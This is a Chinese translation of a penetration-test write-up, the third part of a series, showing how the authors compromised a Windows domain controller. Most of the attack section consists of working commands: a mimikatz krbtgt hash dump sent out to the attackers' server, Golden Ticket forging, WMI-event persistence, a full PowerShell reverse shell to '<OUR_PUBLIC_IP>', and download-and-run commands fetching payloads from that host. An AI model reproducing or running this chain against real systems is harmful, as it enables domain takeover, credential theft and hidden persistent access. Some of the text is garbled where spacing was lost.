2017-04-26 07:51:12
阅读:647次
点赞(0)
收藏
作者:村雨其实没有雨
翻译:村雨其实没有雨
预估稿费:110RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
本系列前面两个章节,请参见这里和这里
在离开内部网络前,我们决定取得域控制器的哈希,特别是Kerberos账户(krbtgt),想要创建一个Golden Ticket*。
译者注:Golden Ticket是指伪造的TGT(Ticket Granting Ticket),同理Silver Ticket是伪造的TGS(Ticket Granting Server)
Golden Ticket攻击能够让我们创建离线的Kerberos TGT来进行未授权访问,并且伪造任何域用户。此外,它的有效期是十年,换言之只要它被创建了,即使域管理员的凭证发生了改变,也会有效。这是一个权限维持的极佳案例,不是吗?
为了实现这个任务,我们需要的有:
krbtgt哈希
域SID
用户名(这里是Administrator)
域名称(这里是SUPERCOMPANY)
以类似的方式(SRVWSUS上的端口转发,改良过的SMBExec等),我们目前在域控制器上拿到了一个新的本地管理员权限的Powershell。
我们执行了混淆过的mimikatz来获取活动目录用于数据,并将他们保存在hash.txt中:
invoke-mymy-command‘privilege::debug“LSADump::LSA/inject”‘>hash.txt Themimikatzscriptwaswithouttheauto-invokecommandattheendofthefile.Weexfiltratedthehashfiletoourwebserver.Thiswasitscontent: RID:000001f6(502) User:krbtgt *Primary LM: NTLM:3003567af268a4aXXXXXXXXXXXXXXXXX Usingget-addomaincmdlet,whichisautomaticallyimportedonDomainControllers,wegotthedomainSID: PSC:\test>get-addomain AllowedDNSSuffixes:{} ChildDomains:{} ComputersContainer:CN=Computers,DC=supercompany,DC=local DeletedObjectsContainer:CN=DeletedObjects,DC=supercompany,DC=local DistinguishedName:DC=supercompany,DC=local DNSRoot:supercompany.local DomainControllersContainer:OU=Domain Controllers,DC=supercompany,DC=local DomainMode:windows2012R2Domain DomainSID:S-1-5-21-3534665177-2148510708-2241433719 …注意:我们可以从由mimikatz获得的管理员(其uid = 500)获取域SID:
S-1-5-21-3534665177-2148510708-2241433719-500现在是时候创建我们的Golden Ticket了
invoke-mymy-command‘”privilege::debug”“Kerberos::golden/admin:Administrator/domain:supercompany.LOCAL/sid:S-1-5-21-3534665177-2148510708-2241433719/krbtgt:3003567af268a4a94e26f410e84353f1/ticket:admin.krb”‘ .#####.mimikatz2.1(x64)builtonNov10201615:31:14 .##^##.“ALaVie,AL’Amour” ##/\##/*** ##\/##BenjaminDELPY`gentilkiwi`(benjamin@gentilkiwi.com) ‘##v##’http://blog.gentilkiwi.com/mimikatz(oe.eo) ‘#####’with20modules***/ mimikatz(powershell)#privilege::debug Privilege’20’OK mimikatz(powershell)#Kerberos::golden/admin:Administrator/domain:supercompany.LOCAL/sid:S-1-5-21-3534665177-2148510708-2241433719/krbtgt:3003567af268a4a94e26f410e84353f1/ticket:admin.krb User:Administrator Domain:supercompany.LOCAL(SUPERCOMPANY) SID:S-1-5-21-3534665177-2148510708-2241433719 UserId:500 GroupsId:*513512520518519 ServiceKey:3003567af268a4a94e26f410e84353f1–rc4_hmac_nt Lifetime:2/17/20174:02:10PM;2/17/20274:02:10PM;3/3/20274:02:10PM ->Ticket:admin.krb *PACgenerated *PACsigned *EncTicketPartgenerated *EncTicketPartencrypted *KrbCredgenerated最后将Ticket存到文件中就好了,在这之后,我们挑出admin.krb文件,之后会用到。
权限维持
在离开系统之前,我们必须设置一个能够维持对暴露在公网的服务器访问的方法,以供日后使用。在这一步,不被发现并不容易,即使是新手系统管理员也会发现一些端倪。
我们选择了一个机遇WMI特性的更加复杂的方法,利用了InstanceModificationEvent。
在一个WMI对象实例改变了它的寄存器时,它都是作为一个InstanceModificationEvent。在这样的条件下,我们过滤了事件系统启动时间,在系统启动200到300秒之内,我们将为eventconsumer提供一个commandlineeventconsumer。
在SRVWSUS这台服务器上,我们发送了以下命令:
$filterName=“JustForTestFilter” $consumerName=“JustForTestConsumer” $exePath=“C:\windows\help\windows\indexstore\r.bat” $Query=“SELECT*FROM__InstanceModificationEventWITHIN60WHERETargetInstanceISA‘Win32_PerfFormattedData_PerfOS_System’ANDTargetInstance.SystemUpTime>=200ANDTargetInstance.SystemUpTime<300” $WMIEventFilter=Set-WmiInstance-Class__EventFilter-NameSpace“root\subscription”-Arguments@{Name=$filterName;EventNameSpace=”root\cimv2″;QueryLanguage=”WQL”;Query=$Query}-ErrorActionStop $WMIEventConsumer=Set-WmiInstance-ClassCommandLineEventConsumer-Namespace“root\subscription”-Arguments@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath} Set-WmiInstance-Class__FilterToConsumerBinding-Namespace“root\subscription”-Arguments@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}然后再windows隐藏的文件夹里,创建了r.bat,内容如下:
powershell-executionpolicybypass-windowstylehidden-fC:\windows\help\windows\indexstore\r.ps1而r.ps1文件的内容是:
$c=New-ObjectSystem.Net.Sockets.TCPClient(‘<OUR_PUBLIC_IP>’,443); $s=$c.GetStream();[byte[]]$b=0..65535|%{0}; while(($i=$s.Read($b,0,$b.Length))-ne0){; $d=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($b,0,$i); $sb=(IEX$data2>&1|Out-String); $sb2=$sb+’PS‘+(pwd).Path+‘>‘; $sb=([text.encoding]::ASCII).GetBytes($sb2); $s.Write($sb,0,$sb.Length); $s.Flush()}; $c.Close()”这将保证它在重新启动时通过SRVWSUS执行本地SYSTEM权限的远程shell。
最后,我们测试了我们拿到的Golden Ticket,还记得admin.krb这个文件吗?
通过SRVWSUS本地系统管理员权限的shell,我们下载了admin.krb,配置了端口转发,并将带有回连指令的脚本r3.ps1上传到SRVWSUS的9000端口。
现在我们在session中加载Ticket:
PSC:\tmp>Invoke-mymy-command‘”kerberos::pttadmin.krb”‘ .#####.mimikatz2.1(x64)builtonNov10201615:31:14 .##^##.“ALaVie,AL’Amour” ##/\##/*** ##\/##BenjaminDELPY`gentilkiwi`(benjamin@gentilkiwi.com) ‘##v##’http://blog.gentilkiwi.com/mimikatz(oe.eo) ‘#####’with20modules***/ mimikatz(powershell)#kerberos::pttadmin.krb *File:‘admin.krb’:OK UsingklistitispossibletolistourloadedKerberostokens: PSC:\tmp>klist CurrentLogonIdis0:0x3e7 CachedTickets:(1) #0>Client:Administrator@supercompany.LOCAL Server:krbtgt/supercompany.LOCAL@supercompany.LOCAL KerbTicketEncryptionType:RSADSIRC4-HMAC(NT) TicketFlags0x40e00000->forwardablerenewableinitialpre_authent StartTime:2/17/20171:02:10(local) EndTime:2/17/20271:02:10(local) RenewTime:2/18/20271:02:10(local) SessionKeyType:RSADSIRC4-HMAC(NT) CacheFlags:0x1->PRIMARY KdcCalled:成功了,Ticket成功加载了!
对于下一个操作,我们使用Windows wmic.exe实用程序,它是一个WMI的命令行接口程序,允许通过Kerberos凭证来访问远程系统。
我们在域控制器上复制了r3.ps1,没有任何问题,只需将管理员的Ticket加载到我们的会话中!
PSC:\tmp>copyc:\tmp\r3.ps1\\SRVDC1\C$\windows\temp\r3.ps1″然后运行:
PSC:\tmp>wmic/authority:”kerberos:SUPERCOMPANY\SRVDC1″/node:SRVDC1processcallcreate“powershell-executionpolicybypass-windowstylehidden-fc:\windows\temp\r3.ps1” Executing(Win32_Process)->Create() Methodexecutionsuccessful. OutParameters: instanceof__PARAMETERS { ProcessId=4528; ReturnValue=0; };我们叉着手等了一会,在我们的电脑上就看到了来自SRVDC1的shell:
PSC:\Windows\system32>whoami supercompany\administrator即使Administrator的密码变了,这种手段也会奏效。
关于Golden Ticket的潜在危险,我有几句话要说:
发现伪造的Kerberos Tickets非常困难(https://adsecurity.org/?p=1515)
在有证据的情况下,唯一的方法就是重置krbtg密码两次,但这可能会对Active Directory Infrastructure造成严重影响
最后要做的
还记得我们是怎么在SRVWSUS获得第一个powershell远程shell的吗?
我们从企业内部网络的服务器执行了一个远程命令,通过安卓手机的Meterpreter转发这个连接。要是我们失去了Powershell的远程shell,并且再也没有连接到受害者怎么办?Game Over...
我们需要添加对SRVWSUS shell的持久访问权!
怎么做呢?答案是通过从Tomcat的webshell添加访问SRVWSUS的功能:
#1stsmbexeccommand: IEX(New-ObjectNet.WebClient).DownloadFile(`’http://<OUR_PUBLIC_IP>/r1.ps1`’, `’c:\tmp\r1.ps1`’) #2ndsmbexeccommand: IEX(New-ObjectNet.WebClient).DownloadFile(`’http://<OUR_PUBLIC_IP>/r1.bat`’, `’c:\tmp\r1.bat`’) #3rdsmbexeccommand: ‘cmd/cc:\tmp\r1.bat’ Whatdoesr1.batcontain? @echooff :loop powershell-executionpolicybypass-windowstylehidden-fc:\tmp\r.ps1 timeout/t10 gotoloop虽不优雅,但是有效。一旦丢失了连接,等待十秒钟就会重新回连。
我们当然可以加密混淆所有的.ps1脚本,但我们就是想给你展示它的原理。
结论
这就是我们的工作,并没有发明什么新的东西,但是使用Windows内置的功能和一些脚本,我们做了件大事。有时候我们并不需要什么魔法一样的工具,只需要K.I.S.S.原则。
总之,聪明的去办事吧!
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/extra-miles/#article